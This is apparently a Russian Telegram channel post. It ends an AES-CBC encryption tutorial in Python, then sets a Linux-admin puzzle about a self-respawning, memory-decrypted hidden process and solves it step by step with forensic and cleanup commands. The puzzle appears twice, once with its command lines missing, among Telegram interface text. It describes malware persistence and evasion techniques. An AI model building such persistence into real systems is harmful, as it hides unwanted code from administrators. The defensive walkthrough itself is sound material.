# Для расшифровки нужно сохранить IV (инициализационный вектор)
iv = cipher.iv
# Дешифрование
cipher_dec = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher_dec.decrypt(encrypted_data), AES.block_size)
print("Расшифрованные данные:", decrypted_data.decode())
✅ Обратите внимание:
key — секретный ключ (должен храниться в секрете).
iv (инициализационный вектор) — нужен для дешифрования, его можно передавать открытым текстом.
Используется padding, чтобы текст был кратен размеру блока.
🔍 Почему AES?
Безопасен — нет известных практических атак.
Быстрее DES и 3DES.
Широко поддерживается во всех современных протоколах (TLS, SSH, VPN, ZIP, WhatsApp).
⚠️ Важные рекомендации
Никогда не используйте один и тот же ключ и IV для нескольких сообщений.
Храните ключи в защищённом хранилище.
При передаче данных используйте безопасные протоколы.
С помощью Python и библиотеки PyCryptodome его можно легко интегрировать в свои проекты.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍40❤31🔥8😁2
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
❤20🔥10👎7👍5
🧩 Задача для Linux-администраторов: "Исчезающий процесс"
📖 Описание задачи
В системе неожиданно появилась служба, которая запускается автоматически через 10 минут после удаления её бинарного файла и убийства процесса.
Особенности:
- Бинарный файл процесса каждый раз появляется в разной директории внутри
- Имя процесса каждый раз разное (например,
- При запуске процесс слушает TCP-порт на случайном высоком порту (>=1024).
- Порт каждый раз динамически выбирается и кодируется в base64, чтобы затруднить прямую идентификацию.
- Бинарный файл зашифрован и расшифровывается процессом в оперативной памяти перед запуском.
- После удаления файла и убийства процесса через 10 минут процесс появляется снова.
📝 Ваша задача:
1. Определить источник "реинкарнации" процесса.
2. Найти механизм автозапуска и зашифрованного хранения бинарника.
3. Остановить автоматический запуск навсегда без перезагрузки системы.
4. Задокументировать шаги поиска и устранения проблемы.
🕵️ Решение (разбор шаг за шагом)
1️⃣ Найти процесс и порт
Поскольку порт зашифрован (base64), стандартный
Запоминаем PID и порт. Чтобы проверить порт в base64:
(найденный зашифрованный порт в коде процесса может совпадать)
2️⃣ Посмотреть открытые файлы и дескрипторы
Чтобы понять, где запускается исполняемый файл:
Смотрим дескрипторы
Если исполняемый файл удалён, но процесс его держит открытым, можно восстановить его через
3️⃣ Отследить родителя процесса
Проверим родительский процесс:
➡️ Нужно понять, кто создаёт зашифрованный бинарник и запускает процесс.
4️⃣ Отследить создание файла в /tmp
Используем
или
Когда файл создастся → смотрим, какой процесс его записал:
5️⃣ Проверить автозагрузку
Проверяем cron:
Проверяем systemd:
Проверяем init.d, rc.local, profile.d:
6️⃣ Проанализировать процесс запуска
Раз шифрование происходит в памяти:
- Проверяем аргументы запуска процесса через
- Используем
- Проверяем, не использует ли процесс
📝 Возможное объяснение
- Основной процесс шифрует бинарник и хранит его (например, в `/etc/.hidden/enc.bin`).
- Через cron job или systemd timer каждые 10 минут запускается дешифровщик, который:
- Расшифровывает бинарник в
- Запускает процесс
- Запущенный процесс открывает порт, шифрует его номер (base64) и выводит только в своих аргументах/переменных окружения.
- Процесс удаляет бинарник сразу после запуска, оставляя только дескриптор в памяти.
✅ Как остановить навсегда (без перезагрузки):
1. Найти и остановить родительский процесс (watchdog/дешифровщик):
2. Удалить механизм автозапуска:
- Удалить запись из cron.
-
- Удалить файлы-инициаторы из
3. Найти и удалить зашифрованный бинарник:
или поиск по дате изменения:
4. Очистить /tmp, /dev/shm, /run от временных файлов.
📖 Описание задачи
В системе неожиданно появилась служба, которая запускается автоматически через 10 минут после удаления её бинарного файла и убийства процесса.
Особенности:
- Бинарный файл процесса каждый раз появляется в разной директории внутри
/tmp.- Имя процесса каждый раз разное (например,
a1b2c3, `d4e5f6`).- При запуске процесс слушает TCP-порт на случайном высоком порту (>=1024).
- Порт каждый раз динамически выбирается и кодируется в base64, чтобы затруднить прямую идентификацию.
- Бинарный файл зашифрован и расшифровывается процессом в оперативной памяти перед запуском.
- После удаления файла и убийства процесса через 10 минут процесс появляется снова.
📝 Ваша задача:
1. Определить источник "реинкарнации" процесса.
2. Найти механизм автозапуска и зашифрованного хранения бинарника.
3. Остановить автоматический запуск навсегда без перезагрузки системы.
4. Задокументировать шаги поиска и устранения проблемы.
🕵️ Решение (разбор шаг за шагом)
1️⃣ Найти процесс и порт
Поскольку порт зашифрован (base64), стандартный
ss или netstat покажут только открытый порт, но не под каким именем он должен быть:
ss -tulpn | grep LISTEN
Запоминаем PID и порт. Чтобы проверить порт в base64:
echo <порт> | base64
(найденный зашифрованный порт в коде процесса может совпадать)
2️⃣ Посмотреть открытые файлы и дескрипторы
Чтобы понять, где запускается исполняемый файл:
lsof -p <pid>
Смотрим дескрипторы
/tmp/, /dev/shm/, /proc/self/fd/.Если исполняемый файл удалён, но процесс его держит открытым, можно восстановить его через
/proc/<pid>/exe:
cp /proc/<pid>/exe ./restored_binary
3️⃣ Отследить родителя процесса
Проверим родительский процесс:
ps -o pid,ppid,cmd -p <pid>
pstree -p <ppid>
➡️ Нужно понять, кто создаёт зашифрованный бинарник и запускает процесс.
4️⃣ Отследить создание файла в /tmp
Используем
auditd или inotifywait, чтобы зафиксировать момент создания:
auditctl -w /tmp -p wa
ausearch -f /tmp
или
inotifywait -m /tmp
Когда файл создастся → смотрим, какой процесс его записал:
lsof | grep /tmp/<имя_файла>
5️⃣ Проверить автозагрузку
Проверяем cron:
crontab -l
cat /etc/crontab
ls -l /etc/cron.*
Проверяем systemd:
systemctl list-timers --all
systemctl list-units --type=service
systemctl list-units --type=timer
Проверяем init.d, rc.local, profile.d:
ls -l /etc/init.d/
cat /etc/rc.local
ls -l /etc/profile.d/
6️⃣ Проанализировать процесс запуска
Раз шифрование происходит в памяти:
- Проверяем аргументы запуска процесса через
ps aux- Используем
strace для перехвата системных вызовов:
strace -f -p <pid>
- Проверяем, не использует ли процесс
memfd_create, shm_open, mmap (бинарник в памяти):
lsof -p <pid> | grep memfd
📝 Возможное объяснение
- Основной процесс шифрует бинарник и хранит его (например, в `/etc/.hidden/enc.bin`).
- Через cron job или systemd timer каждые 10 минут запускается дешифровщик, который:
- Расшифровывает бинарник в
/tmp- Запускает процесс
- Запущенный процесс открывает порт, шифрует его номер (base64) и выводит только в своих аргументах/переменных окружения.
- Процесс удаляет бинарник сразу после запуска, оставляя только дескриптор в памяти.
✅ Как остановить навсегда (без перезагрузки):
1. Найти и остановить родительский процесс (watchdog/дешифровщик):
kill -9 <pid>
2. Удалить механизм автозапуска:
- Удалить запись из cron.
-
systemctl disable <название_сервиса>- Удалить файлы-инициаторы из
/etc/systemd/system/, /etc/init.d/, /etc/rc.d/.3. Найти и удалить зашифрованный бинарник:
find / -type f -name '*.bin' -exec file {} \; | grep 'data'
или поиск по дате изменения:
find / -type f -mtime -1
4. Очистить /tmp, /dev/shm, /run от временных файлов.
👍61🔥22❤16